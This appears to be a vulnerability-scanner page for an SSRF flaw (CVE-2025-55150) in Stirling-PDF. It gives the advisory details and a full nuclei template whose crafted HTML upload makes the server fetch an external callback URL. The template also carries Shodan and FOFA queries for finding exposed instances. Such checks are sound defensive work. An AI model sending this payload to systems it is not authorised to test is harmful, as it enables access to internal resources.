Stirling-PDF < 1.1.0 - Server-Side Request Forgery

highseverity

9.8CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

Stirling-PDF < 1.1.0 contains a server side request forgery caused by bypassing the sanitizer in the /api/v1/convert/html/pdf endpoint when processing HTML to PDF conversion, letting attackers perform SSRF, exploit requires local access.

Impact

Attackers can perform SSRF to access internal resources or services, potentially leading to information disclosure or further attacks.

Fix

Upgrade to version 1.1.0 or later.

How to confirm it

Send: GET /
Positive when: contains(body, "<title>Stirling PDF")
Send: POST /api/v1/convert/html/pdf
Positive when: contains(interactsh_protocol,'dns') and contains(body,'%PDF-1.7')

Run it with nuclei: nuclei -id CVE-2025-55150 -u <target>

The full check

id: CVE-2025-55150

info:
  name: Stirling-PDF < 1.1.0 - Server-Side Request Forgery
  author: WeQi
  severity: high
  description: |
    Stirling-PDF < 1.1.0 contains a server side request forgery caused by bypassing the sanitizer in the /api/v1/convert/html/pdf endpoint when processing HTML to PDF conversion, letting attackers perform SSRF, exploit requires local access.
  impact: |
    Attackers can perform SSRF to access internal resources or services, potentially leading to information disclosure or further attacks.
  remediation: |
   Upgrade to version 1.1.0 or later.
  reference:
    - https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-xw8v-9mfm-g2pm
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55150
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-55150
    epss-score: 0.0179
    epss-percentile: 0.78547
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: stirlingpdf
    product: stirling_pdf
    fofa-query: title="Stirling PDF"
    shodan-query: http.title:"Stirling PDF"
  tags: cve,cve2025,stirling-pdf,ssrf

variables:
  username: "{{to_lower(rand_base(6))}}"

flow: http(1) && http(2)

http:

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<title>Stirling PDF")'
        internal: true

  - raw:
      - |
        POST /api/v1/convert/html/pdf HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryavCUaFmKmcDEhMPU

        ------WebKitFormBoundaryavCUaFmKmcDEhMPU
        Content-Disposition: form-data; name="fileInput"; filename="{{username}}.html"
        Content-Type: text/html

        <marquee behavior='alternate' direction='right'><img src='http://{{interactsh-url}}'></marquee>
        Content-Disposition: form-data; name="zoom"

        1
        ------WebKitFormBoundaryavCUaFmKmcDEhMPU--

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(body,'%PDF-1.7')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from